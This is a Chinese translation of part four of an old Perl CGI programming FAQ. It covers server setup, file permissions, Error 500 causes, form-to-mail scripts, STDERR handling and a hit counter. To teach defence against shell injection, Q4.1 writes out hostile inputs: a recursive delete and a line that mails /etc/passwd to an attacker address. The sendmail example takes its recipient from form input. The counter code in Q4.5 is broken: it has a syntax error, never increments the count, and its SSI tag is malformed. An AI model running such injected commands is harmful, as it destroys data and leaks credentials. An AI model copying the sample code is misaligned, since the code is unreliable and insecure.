當前位置:開發者網絡 >> 技術教程 >> CGI教程 >> CGI文檔 >> 內容
精彩推薦
分類最新教程
分類熱點教程
    
中文版 Perl CGI 程式寫作常問問題集(四)
作者:未知
日期:2003-09-13
人氣:
投稿:Andy.m(轉貼)
來源:未知
字體:
收藏:加入瀏覽器收藏
以下正文:
3.0 - CGI 與 WWW Server

---------------------------------------------------------------------------

Q3.1: 我的 Perl CGI 程式要放在哪裡執行?cgi-bin 這個目錄是做甚麼用的?

server 通常是設定成去執行放在 ``cgi-bin'' 目錄底下的 CGI 程式。不過,
server 管理者同時也可以在設定檔中設定 aliases,讓所有含某些副檔名(如
..cgi
、.pl)的 scripts 都能執行*。

【譯者】設定 CGI aliases 和副檔名固然很方便,但 server 管理者須注
意到相關的安全問題。

---------------------------------------------------------------------------

Q3.2: 什麼是檔案使用權限?怎樣改?

檔案權限是根據使用者識別代號(又稱
uid),以及他們所屬的團體來決定是否賦與
使用者讀、寫,和執行某檔案的權利。您可使用 chmod
這個指令去修改檔案的使用
權限。例如:

% ls -ls form.cgi
1 -rwx------ 1 shishir 974 Oct 31 22:15 form.cgi*

此一檔案的權限為
0700(八進制),意味著沒有人(檔案所有人除外)能夠讀取、
寫進,或執行這個檔案。我們可以用 chmod 這個指令去修改它的權限:

% chmod 755 form.cgi
% ls -ls form.cgi
1 -rwxr-xr-x 1 shishir 974 Oct 31 22:15 form.cgi*

這樣一來,權限就變了。現在和 ``shishir''
在同一個團體的使用者,還有其他任
何的使用者都有權利去讀取和執行這個檔案了。

如欲知 chmod 指令各八進制數碼所代表的含意,請參閱 chmod
manpages的說明。

---------------------------------------------------------------------------

Q3.3: Perl 應該安裝在哪裡才可以執行它?

Perl 可以安裝在系統上任何一個角落!您唯一要注意的是 server
不能在chroot 的
環境下跑,否則它便無法跑 perl
解譯器。換言之,系統管理者可以把根目錄改變,
讓 ``/'' 指到另一個目錄,而不是實際真正的根目錄(``/'')。

---------------------------------------------------------------------------

Q3.4: 我為什麼一直得到 ``Server: Error 500'' 的訊息?

以下幾種情形會觸發這個錯誤訊息:

* 如果 script 開頭的地方沒有 ``#!/usr/local/bin/perl'' 這個指到
Perl 解
譯器的標頭,或者是指到解譯器(或 library 檔)的路徑錯誤。
* 如果 script 輸出的第一行是一個不正確的標頭(即 ``Content-Type:
text/html'' ),或者是該標頭後面沒有跟著一個空行。
* 如果您的 script 有句法上的錯誤。您的 scripts
都應在指令列先跑跑看才
是。

---------------------------------------------------------------------------

Q3.5: 我試著打開一個檔案,想把資料儲存在裡頭,但是 open()
的指令失敗了。到
底是怎麼搞的?

一般說來,HTTP server 是以
``nobody''、``www'',或其他這類權限低的使用者的
身份來跑的。因為這個緣故,您打算在其中製造新檔案的目錄,對 server
跑的使用
者 ID 必須要是可寫(writable)才行。

為了確定起見,您每次都應該先檢查 open 這個指令送回的結束狀態(return
status
),看看 open 有沒有成功。

open(FILE, "/abc/data.txt")
|| error("Could not open file /abc/data.txt");
.
.
.
sub error {
my($message) = @_;

print <<End_of_Error;
Content-type: text/html
Status: 500 CGI Error
<HTML>
<HEAD><TITLE>CGI Error</TITLE></HEAD>
<BODY>
<H1>Oops! Error</H1>
<HR>
$message
<HR>
</BODY>
</HTML>
End_of_Error
}



4.0 -程式設計疑難雜症

---------------------------------------------------------------------------

Q4.1: 我想讓 user 填的 form 資料自動寄給我,該怎麼做?有沒有範例?

其實做這個很容易。您的 CGI script 必須能做到這兩件事:

1. 將 form 中的資料整理出來。別忘了,所有的 form 資料都會被
URL-編碼起來
(先不考慮 Netscape 2.0 【及 2.0 以上所支援】的 multipart
MIME資料)。
2. 開一個管路 (pipe) 到 mail (或 sendmail ),然後把 form
資料寫過去。

我們就假設您用的是 CGI::* 模組。您可用以下的方法去叫 sendmail:

$cgi_form = new CGI::Form;
$from = $cgi_form->param('from');
$name = $cgi_form->param('name');
$to = $cgi_form->param('to');
$subject = $cgi_form->param('subject');
$message = $cgi_form->param('message');
open SENDMAIL, "| /usr/bin/sendmail -t -n";
print SENDMAIL <<End_of_Mail;
From: $from <$name>
To: $to
Reply-To: $from
Subject: $subject
$message
End_of_Mail

有一個該注意的地方是 ``Reply-To:'' 的信頭。由於 server 是以
``nobody''

這個使用者的身份來跑,信頭的地方可能會被搞壞(尤其是當有人想回這封信
的時後)。加上 ``Reply-To'' 的信頭這個問題便解決了。

網路上有許多的 mail 渠道 (gateway)* 是以底下這種方法來送 mail:

【譯者】gateway 在此指送 email 的 CGI 程式

open MAIL, "| mail -s 'Subject' $to";
^
|
+--
可能會出問題的漏洞!!!

如果您沒有先檢查看 $to 這個變數有沒有內含 shell 的特殊符號
(metacharacters),您是在自討苦吃!譬如,如果哪個惡劣的 user
輸入了以下
的資料:

; rm -fr / ;

那麼您的麻煩可大了*。

【譯者】這裡頭的 ``;'' 便是一個危險的 shell metacharacter。
另一個危險的符號是 ``&''。

在這個假想的情況中,有多少個檔案會被遠方的 user 給殺掉,還得
視 server 跑的使用者的權限而定(這就是為什麼 server 要以低權
限使用者身份跑的原因)。至少那些由 CGI 程式製造出來,但又沒
有備份的檔案,是真的要跟它們永別了。

; mail joe@crackerland.org </etc/passwd

那您的 CGI script 就替您把 /etc/passwd 給拱手送上了。這對一
個「未加工」的 Linux、SunOS 4.1,還有其他任何沒安裝
shadow-password 的 UNIX 系統來說,實在不太好玩。如果 server
錯誤地跑了 root,那麼就算裝了 shadow-password 也沒有用,因為
遠方的 cracker 甚至可以讓這個 CGI 的 email script 給他送
/etc/shadow (視系統而定,不一定在 /etc 底下或叫這個名字)。


----------------------------------------------------------------------

Q4.2: 剛才這個用 form 送信的 script 看起來有點難。為什麼不乾脆用
``mailto:URL'',這樣 user 填入的資料就可以寄給我了?

很不幸地,mailto:
的指令並不是所有的瀏覽器都支援。如果您在檔案中用了它
的話,會限制了那些使用沒有支援 mailto:的瀏覽器的人,讓他們無法送
mail 給您*。

【譯者】儘管如此,您或許不會在乎那占極少數比例的使用者
(Netscape 、 IE,和 lynx 等瀏覽器都支援 mailto:)。


----------------------------------------------------------------------

Q4.3: 我要如何在 UNIX 以外的平台上做 Perl-CGI,譬如 Mac、MS-DOS、
Windows 及 NT?我的 Perl CGI
程式能不能在這些平台之間互相移植呢?能不
能很直接,沒有麻煩?我在 UNIX 主機上有帳號,但是都是先在
Windows/Mac
上做。我要如何在我自己的機器上測試寫好的 CGI scripts*?

Perl 已經被移植到上述所有的平台上了。因此,您的 Perl CGI
程式照理應不
難移植。但如果您使用到一些 UNIX
上的程式,那麼您的程式可能會不好移

植。如果您只是做資料處理,或開啟、讀進檔案等的話,那麼移植應該不會有
問題。

【譯者】原 FAQ 並未回答最後這個問題。要在 Windows/OS2/Mac 等
非 UNIX 平台上測式您的 scripts ,您可以使用 CGI.pm (支援以
上所有平台),配合 Q4.19 中提示的除錯技巧,或在自己的機器上
安裝 HTTP server 軟體。如此就不用辛苦的連上主機去測式了。


----------------------------------------------------------------------

Q4.4: 在 Perl CGI 程式中,STDERR (標準錯誤訊息)、STDIN
(標準輸入),
和 STDOUT (標準輸出)各是連到何處?

在 CGI 環境下,STDERR 會指向 server 的錯誤訊息檔 (error
log)。您可以
善加利用這個特性,把除錯的訊息寫到
STDERR,然後您便可藉查看錯誤訊息檔
來幫您除錯。

STDIN 和 STDOUT 則都和瀏覽器相連。實際上,STDIN 連的是 server。
server
會先解讀 client (或瀏覽器)送出的請求和資料,再將其送給 script。

您也可以用將 STDERR 「複製」到 STDOUT
的方法來抓錯誤訊息。這應該在
script 靠前頭的地方做(但應在您輸出合適的 HTTP 標頭之後):

open STDERR, ">&STDOUT";

這會將所有的錯誤訊息都轉送到 STDOUT (即瀏覽器)去。


----------------------------------------------------------------------

Q4.5: 如何寫計數器?

計數器一類的程式相當流行。其實計數器的原理很簡單,不過是:
o 用一個檔案去儲存資料。
o 每當有人光臨網站,增大檔案中所計的數字。

以下是一個簡單的計數器的實例:

#!/usr/local/bin/perl -w
$counter = "/home/shishir/counter.dat";
print "Content-type: text/plain", "\n\n";
open(FILE, $counter) || die "Cannot read from the counter
file.\n";
flock FILE, 2;
$visitors = <FILE>
flock FILE, 8;
close FILE;
open(FILE, ">$counter") || die "Cannot write to counter
file.\n";
flock FILE, 2;
print FILE $visitors;
flock FILE, 8;
close FILE;

現在您可以在 HTML 檔案中用 SSI (Server Side Include; 伺服端插入)*
的方
式來顯示該計數器:

【譯者】SSI 是 server 所提供的一項功能,可將動態資料,例如日
期和時間,或計數器顯示等,在客戶請求一網頁時即時加入該文件
中。支援 SSI 的 servers 包括了 NCSA
(<http://hoohoo.ncsa.uiuc.edu>、Apache
(<http://www.apache.org/>,和Netscape Enterprise Server

(<http://home.netscape.com/comprod/server_central/product/enterprise/>
等。 SSI 固然是一項便利的設計,但如過份濫用,不但會減低
server 性能,更可能招來安全上的危機。

您是第
<!--#exec cgi="/cgi-bin/counter.pl-->
位光臨本站的客人。
相關文章: